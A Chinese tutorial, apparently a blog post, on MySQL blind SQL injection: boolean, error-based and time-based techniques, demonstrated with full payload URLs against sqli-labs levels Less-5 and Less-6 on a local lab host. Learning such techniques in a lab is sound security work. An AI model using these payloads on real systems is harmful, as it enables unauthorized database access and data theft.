sqli-lab之第二章--盲注

第二章 盲注

注意: 本文大部分内容都是参考mysql注入天书

学习篇

何为盲注? 盲注就是 在 sql 注入过程中, sql 语句执行的选择后, 选择的数据不能回显 到前端页面. 此时, 我们需要利用一些方法进行判断或者尝试, 这个过程称之为 盲注,这种情况下往往需要 一个一个字符的去猜解, 需要用到截取字符串.

0x01 基于布尔 SQL 盲注

我们可以利用逻辑判断进行盲注, 而布尔注入能够利用的根本就是, 我们能够看到true和false返回页面内容不一致

因为不知道字段是怎样的, 因此只能一个字符一个字符的猜, 所以这里我们需要先学习字符串截取函数:left(), right(),substr(), substring(), mid(), 以及经常一起配套使用的ascii转换函数ascii(), ord(), 最后还有一些配合使用的mysql语句: IF(),IFNULL(),SELECT CASE WHEN

left()right()

语法如下:

left(string, n)
--得到字符串string左边n个字符

right(string, n)
--得到字符串string右边n个字符

一般地, 我们使用left(database(),1) > 'a',查看数据库名第一位, left(database(),2) > 'ab',查看数据库名前二位.

right()用法类似, 只不过方向反了 , 从后往前

substr(), substring(), mid()

substr(), substring(), mid()函数实现的功能是一样的, 均为截取字符串, 而且用法相同

用法1: substr(str, pos, len)
用法2: substr(str FROM pos FOR len)
--从字符串str的第pos个字符串开始取, 只取len个字符
--str: 要处理的字符串
--pos: 开始的位置(初始值是1)
--len: 截取的长度
ps: substr(str FROM pos FOR len)是应对 逗号被过滤的情况

比方说, 从abcde的第二个字符开始取, 只取3个字符, 这里分别演示substr(), substring()mid()函数

学习到这里, 基本可以应对一些简单的bool注入的情况了, 所以, 下面我大概讲一下bool的注入流程. 比如说, 原始的sql语句如下:

SELECT username FROM users WHERE id=1;

然后我们发现, 当注入and 1=1的时候, 页面返回正常, 注入and 1=2的时候页面返回不正常, 那么我们就可以初步判断为bool注入了

ps: 其实只要true和false返回的页面不同, 我们能够区别出来就行

这里假设我们想拿到它的数据库名称, 首先要拿到数据库长度, 因为知道数据库长度之后, 我们才知道什么时候停止注入

在实战中, 我们会使用substr(DATABASE(),1,1) > 'a',查看数据库名第一位, substr(DATABASE(),2,1) ,查看数据库名第二位, 依次猜解各个字符.

ascii()ord()

在有些情况下, 引号可能被过滤, 所以这里需要将字符转换成ascii, 也就是数字表示, 那就不需要引号括起来了
ascii()
--将第一个字符转换 为 ascii 值

ord()
--将第一个字符转换 为 ascii 值
ps: 两个函数都是只转换第一个字符. 两个函数唯一的区别是, ord()函数遇到多字节, 比如说汉字, 会将汉字转换成 ((first byte ASCII code)*256+(second byte ASCII code))[*256+third byte ASCII code...] 用ascii表示多字节字符代码 的这种形式

因此, 为了避免引号被过滤的问题, 我们通常会用下面的注入语句去盲注数据库

ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101

然后用二分法来测试ascii码值, 然后再递增substr(str, pos, len)中的pos值, 即第一个字符找到后, 找第二个字符, 以此类推, 这里我们先拆开分析一下该注入语句

先查数据库中的第一个表的名字

然后用字符串截取函数, 得到该表的第一个字符

接着用ascii()函数将该字符转换成ascii码

最后就是穷举测试了, 当条件满足时:

当条件不满足时:

ps: 返回1和0代表true与false, 在实战中, 两种结果的页面会不一致, 这个具体在下面实战中会具体讨论.

IF(),IFNULL(),SELECT CASE WHEN

IF()

IF()语法如下:

IF(expr1, expr2, expr3)
--如果 expr1 是TRUE(expr1 <> 0 and expr2 <> NULL), 则IF()的返回值为 expr2; 否则返回值则为 expr3.

IFNULL()CAST()

语法如下:

IFNULL(expr1,expr2)
--如果 `expr1` 不是 NULL,则返回 `expr1`, 否则它返回 `expr2`. 

正常用法如下:

sql注入的时候用法需要配合CAST(), 语法如下:

CAST(expression AS data_type)
--将expression转换为data_type这种数据类型
--我们常用的data_type是CHAR字符类型

接着配合我们之前学过的ORD()MID()函数, 注入语句如下: 返回第一个字符的ASCII码

SELECT ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20) FROM users LIMIT 0,1),1,1));

然后就是一步步的判断一下第一个字符的ascii码的区间, 以及同样操作判断第二个字符了

因为最后需要转换成ascii, 所以中间需要case转换成char, 不然是中文怎么办???

SELECT CASE WHEN

语法如下:

CAST WHEN condition THEN result [WHEN ...] [ELSE result] END
--类似于其他语言的if/else 语句

例子如下:

通常结合sleep()函数使用

regexp 正则注入

如果这种单个字符的爆破无法使用, 也即是说, 字符串无法拆分,这时候可以使用正则表达式

用法介绍

select user() regexp '^[a-z]';

正则表达式的用法, 假设user()结果为 root, regexp 后面接匹配 root 的正则表达式

第二位可以用 select user() regexp '^ro'来进行. 如下图

当正确的时候显示结果为 1, 不正确的时候显示结果为 0

在Mysql5+中, information_schema库中存储了所有的 库名, 表名以及 字段名信息, 故攻击方式如下:
  1. 先判断第一个表名的第一个字符是否是a-z中的字符,其中security是假设已知的库名.

    注:正则表达式中 ^[a-z] 表示字符串中开始字符是在 a-z范围内
    index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="security" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*

  2. 接下来判断第一个字符是否是a-e中的字符

    index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="security" AND table_name REGEXP '^[a-e]' LIMIT 0,1)/*

  3. 接下来确定该字符是e

    index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="security" AND table_name REGEXP '^e' LIMIT 0,1) /*

  4. 接下来更换表达式:

    '^e[a-z]' -> '^em[a-z]' -> '^ema[a-z]' -> '^emai[a-z]' -> '^email[a-z]' -> '^emails[a-z]'-> FALSE

    这时说明表名为emails , 要验证是否是该表明 正则表达式为'^emails$', 但是没这必要 直接判断 table_name = 'emails' 不就行了? 当然, 如果=被过滤当我没说...

    ps: 如何知道匹配结束了? 这里大部分根据一般的命名方式(经验)就可以判断. 但是如何你在无法判断的情况下, 可以用 table_name regexp '^emails$'来进行判断. ^是从开头进行匹配, $是从结尾开始判断.
  5. 接下来猜解其他表, 如假设我们知道其中包含users表,则如下语句说明这样子是正确的

    ps: 注意: table_name 有好几个, 我们只得到了一个 emails, 如何知道其他的? 这里千万不能修改 limit 0,1(从你的表中的第0个数据开始, 只读取一个) 为 limit 1,1, 因为 limit 作用在前面的 select 语句中, 而不是 regexp. 其实在 regexp 中我们是取匹配 table_name 中的内容, 只要 table_name 中有的内 容, 我们用 regexp 都能够匹配到, 因此我们在使用 regexp时, 要注意有可能有多个项, 同时要一个个字符去爆破. 因此上述语句不仅仅可以选择 emails, 还可以匹配其他项

以下是另外两种常用用法

select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));
select * from users where id=1 and 1=(user() regexp'^r');

like匹配注入

和上述的正则类似, mysql 在匹配的时候我们可以用 like 进行匹配.

用法:

select user() like 'ro%'

0x02 基于报错的 SQL 盲注----构造 payload 让信息通过错误提示回显出来

Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;

  1. 一是需要 concat 计数
  2. 二是 floor, 取得 0 or 1, 进行数据的 重复
  3. 三是 group by 进行分组, 具体原理大致为在进行count的时候,插入了重复的key
  • 以上语句可以简化成如下的形式.

    select count(*) from information_schema.tables group by concat(database(), floor(rand(0)*2));

  • 如果关键的表被禁用了, 可以使用这种形式

    select count(*) from (select 1 union select null union select !1)a group by concat(database(),floor(rand(0)*2));

  • 如果 rand 被禁用了可以使用用户变量来报错

    用户变量,用:=作分配符,下面例子就是t1=t2+t3=4

    select min(@a:=1) from information_schema.tables group by concat(user(),@a:=(@a+1)%2)

select exp(~(select * FROM(SELECT USER())a))

double 数值类型超出范围,具体原理如下:
  1. 当传递一个大于709的值时, 函数exp()就会引起一个溢出错误

  2. 0按位取反会得到18446744073709551615

  3. mysql函数执行成功则会返回0,我们将成功执行的函数取反就会得到最大的无符号BIGINT值

  4. 综合上面三点,我们通过子查询与按位求反, 造成一个DOUBLE overflow error, 并借由此注出数据.

    select exp(~(select * from (select user())a));

  5. 接下来开始注入数据

    • 得到表名,这里通过改变limit 0,1->limit 1,1->limit 2,1->limit 3,1-> limit 4,1->Finish来获取不同的表

      select exp(~(select * from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));

    • 得到列名, 同样是改变limit x,y中的x,顺便提一下,x代表从第几位开始,y代表长度

      select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));

    • exp()为以 e 为底的对数函数;版本在 5.5.5 及其以上

      select exp(~(select * from (select user())a));

select !(select * from (select user())x) -(ps:这是减号) ~0

bigint 超出范围; ~0 是对 0 逐位取反, 在 5.5.5 及其以上
  • 数据类型BIGINT的长度为8字节, 也就是说, 长度为64比特. 这种数据类型最大的有符号值, 用二进制、十六进制和十进制的表示形式分别为“0b0111111111111111111111111111111111111111111111111111111111111111”、“0x7fffffffffffffff”和“9223372036854775807”. 当对这个值进行某些数值运算的时候, 比如加法运算, 就会引起“BIGINT value is out of range”错误.

  • 为了避免出现上面这样的错误, 我们只需将其转换为无符号整数即可. 对于无符号整数来说, BIGINT可以存放的最大值用二进制、十六进制和十进制表示的话, 分别为“0b1111111111111111111111111111111111111111111111111111111111111111”、“0xFFFFFFFFFFFFFFFF”和“18446744073709551615”. 同样的, 如果对这个值进行数值表达式运算, 如加法或减法运算, 同样也会导致“BIGINT value is out of range”错误.

  • 上面讲到, 如果我们对数值0逐位取反, 会得到一个无符号的最大BIGINT值, 这一点是显而易见的. 所以, 如果我们对~0进行加减运算的话, 也会导致BIGINT溢出错误.

ps: 实战中, 我们一般都是用 -, 很少用 +, 因为 +容易被浏览器认为是空格
  • 接下来就是核心: 利用子查询引起BITINT溢出, 从而设法提取数据. 我们知道, 如果一个查询成功返回, 其返回值为0, 所以对其进行逻辑非的话就会变成1, 举例来说, 如果我们对类似(select * from (select user())x)这样的查询进行逻辑非的话, 就会有:

  • 所以说, 只要我们能够组合逐位取反逻辑取反运算, 我们就能利用溢出错误来成功的注入查询

    select !(select * from (select user())x) - ~0;

  • 参考文章 bigint 溢出文章 http://www.cnblogs.com/lcamry...

extractvalue(1,concat(0x7e,(select @@version),0x7e))

语法如下:

extractvalue(目标xml文档, xml路径)
--对XML文档进行查询的函数

第一个参数随便填, 第二个参数 xml路径才是可操作的地方, xml文档中查找字符位置是用斜杠隔开 /xxx/xxx/xxx/…这种格式, 如果我们写入其他格式, 就会报错, 并且会返回我们写入的非法格式内容, 而这个非法的内容就是我们想要查询的内容.

正常查询 第二个参数的位置格式 为 /xxx/xxx/ ,即使查询不到也不会报错

SELECT username FROM users WHERE id=1 and (extractvalue('anything','/xxx/xxx'));

使用字符串连接符如concat()拼接 /, 效果和上面相同, 因为在anything中查询不到位置是 /database()的内容, 但同时也没有语法错误, 不会报错

SELECT username FROM users WHERE id=1 and (extractvalue('anything',concat('/',(SELECT database()))));

下面故意写入语法错误:

SELECT username FROM users WHERE id=1 and (extractvalue('anything',concat('~',(SELECT database()))));

可以看到, 因为以~开头的内容不是xml格式的语法, 因此会报错, 而且会显示无法识别的内容是什么

ps: extractvalue()能查询字符串的最大长度为32, 就是说如果我们想要的结果超过32, 就需要用字符串截取函数, 如 substr()函数截取

updatexml(1,concat(0x7e,(select @@version),0x7e),1)

updatexml()函数与extractvalue()类似, 是更新xml文档的函数.

语法如下:

updatexml(目标xml文档, xml路径, 更新的内容)

同样地, 只需要关注第二个参数--xml路径, 用同样的方法进行报错即可

SELECT username FROM users WHERE id=1 and (updatexml('anything',concat('~',(SELECT database())),'anything'));

当然, 最大长度也是32

0x03 基于时间的SQL盲注----延时注入

sleep()

sleep()函数语法如下:

SLEEP(duration)
-- 睡眠(暂停)时间为duration参数给定的秒数, 然后返回0. 若SLEEP()被中断, 它会返回1

有了延迟函数之后, 我们通常需要配合IF()语句以及字符串截取函数, 如下:

SELECT * FROM users WHERE id=1 AND IF((substr((SELECT username FROM users WHERE id=1),1,1))='D',sleep(3),0);

可以看到, 正确则延迟了3s, 不正确则立刻返回

benchmark()

语法如下:

benchmark(count, expr)
--重复执行count次表达式expr, 结果值通常为0

因为函数执行次数比较大, 所以返回结果的时间比平时要长, 因此可以通过时间长短的变化, 判断语句是否执行成功

因此上面sleep()的例子可以修改成如下:

SELECT * FROM users WHERE id=1 AND IF((substr((SELECT username FROM users WHERE id=1),1,1))='D',benchmark(10000000, sha(1)),0);

数据库 延迟用的函数
mysql BENCHMARK(100000,MD5(1)) or sleep(5)
Postgresql PG_SLEEP(5) or GENERATE_SERIES(1,10000)
mssql WAITFOR DELAY '0:0:5'

实战篇

Less-5

这关正确的思路是盲注. 从源代码中可以看到, 运行返回结果正确的时候只返回 you are in...., 不会返回数据库当中的信息了, 所以我们提倡用盲注的方法解决

我们从这这一关开始学习盲注, 结合上面的知识点, 将上述能使用的payload展示一下使用方法.

bool盲注

(1) 利用 left(database(),1) 进行尝试

查看一下 version(), 数据库的版本号为5.5.44

然后使用如下语句看版本号的第一位是不是5, 明显的返回的结果是正确的.

http://192.168.99.100:32769/Less-5/?id=1' and left(version(),1)=5%23

注意: 最后注释那里, 不直接用 #, 是因为 #被Firefox识别成了锚点, 所以要用 #的url的编码 %23, 当然你也可以用 --+做注释

当版本号不正确的时候, 则不能正确显示 you are in......

http://192.168.99.100:32769/Less-5/?id=1' and left(version(),1)=6%23

接下来看一下数据库的长度

http://192.168.99.100:32769/Less-5/?id=1' and length(database())=8%23

长度为8时, 返回正确结果, 说明长度为8.

猜测数据库第一位

http://192.168.99.100:32769/Less-5/?id=1' and left(database(),1)>'a'%23

Database()security , 所以我们看他的第一位是否 > a,很明显的是 s > a, 因此返回正确. 当我们不知情的情况下, 可以用二分法来提高注入的效率.

猜测数据库第二位

得知第一位为 s , 我们看前两位是否大于 sa

http://192.168.99.100:32769/Less-5/?id=1' and left(database(),2)>'sa'%23

接下来的操作同上面一样, 这里就不再重复了

(2) 利用 substr() ascii() 函数进行尝试

大概用法如下:

ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101

根据以上得知数据库名为 security , 那我们利用此方式获取 security 数据库下的表.

获取 security 数据库的第一个表第一个字符

http://192.168.99.100:32769/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80--+

此处同样的使用二分法进行测试, 直到测试正确为止.

此处结果应该是101, 因为第一个表示email, e的ascii就是101

如何获取第一个表的第二位字符呢?

这里我们已经了解了 substr() 函数, 这里使用 substr(,2,1) 即可.

那如何获取第二个表呢?

这里可以看到我们上述的语句中使用的 limit 0,1. 意思就是从第0个开始, 获取第一个. 那要获取第二个是不是就是 limit 1,1

http://192.168.99.100:32769/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113--+

此处113返回是正确的, 因为第二个表示referers表, 所以第一位就是r.

以后的过程就是不断的重复上面的, 这里就不重复造轮子了. 原理已经解释清楚了.

当你按照方法运行结束后, 就可以获取到所有的表的名字.

(3) 利用regexp获取users表中的列

查看 users 表中的列名是否有以 us开头 的列

http://192.168.99.100:32769/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1)--+

使用如下语句可以看到username存在. 我们可以将username换成password等其他的项也是正确的

http://192.168.99.100:32769/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username$' limit 0,1)--+

(4) 利用ord()mid() 函数获取users表的内容

获取users表中的内容. 获取username中的第一行的第一个字符的ascii, 与68进行比较, 即为D. 而我们从表中得知第一行的数据为 Dumb. 所以接下来只需要重复造轮子即可.

http://192.168.99.100:32769/Less-5/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+

报错注入

http://192.168.99.100:32769/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

利用double数值类型超出范围进行报错注入

http://192.168.99.100:32769/Less-5/?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+

xpath函数报错注入

http://192.168.99.100:32769/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+

updatexml函数报错注入

http://192.168.99.100:32769/Less-5/?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+

利用数据的重复性

http://192.168.99.100:32769/Less-5/?id=1' union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+

延时注入

利用 sleep() 函数进行注入, 如下语句, 当错误的时候会有5秒的时间延时.

http://192.168.99.100:32769/Less-5/?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

利用 BENCHMARK()进行延时注入

http://192.168.99.100:32769/Less-5/?id=1' UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+

当结果正确的时候, 运行 ENCODE('MSG','by 5 seconds') 操作50000000次, 会占用一段时间.

至此, 我们已经将上述讲到的盲注的利用方法全部在less5中演示了一次. 在后续的关卡中, 将会挑一种进行演示, 其他的盲注方法请参考less5.

Less-6

Less6与less5的区别在于less6在id参数传到服务器时, 对id参数进行了处理. 这里可以从源代码中可以看到.

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

那我们在这一关的策略和less5的是一样的. 只需要将'替换成 ".

这里我们演示其中一个payload

http://192.168.99.100:32769/Less-5/?id=1"and left(version(),1)=5--+

你可能感兴趣的:(mysql)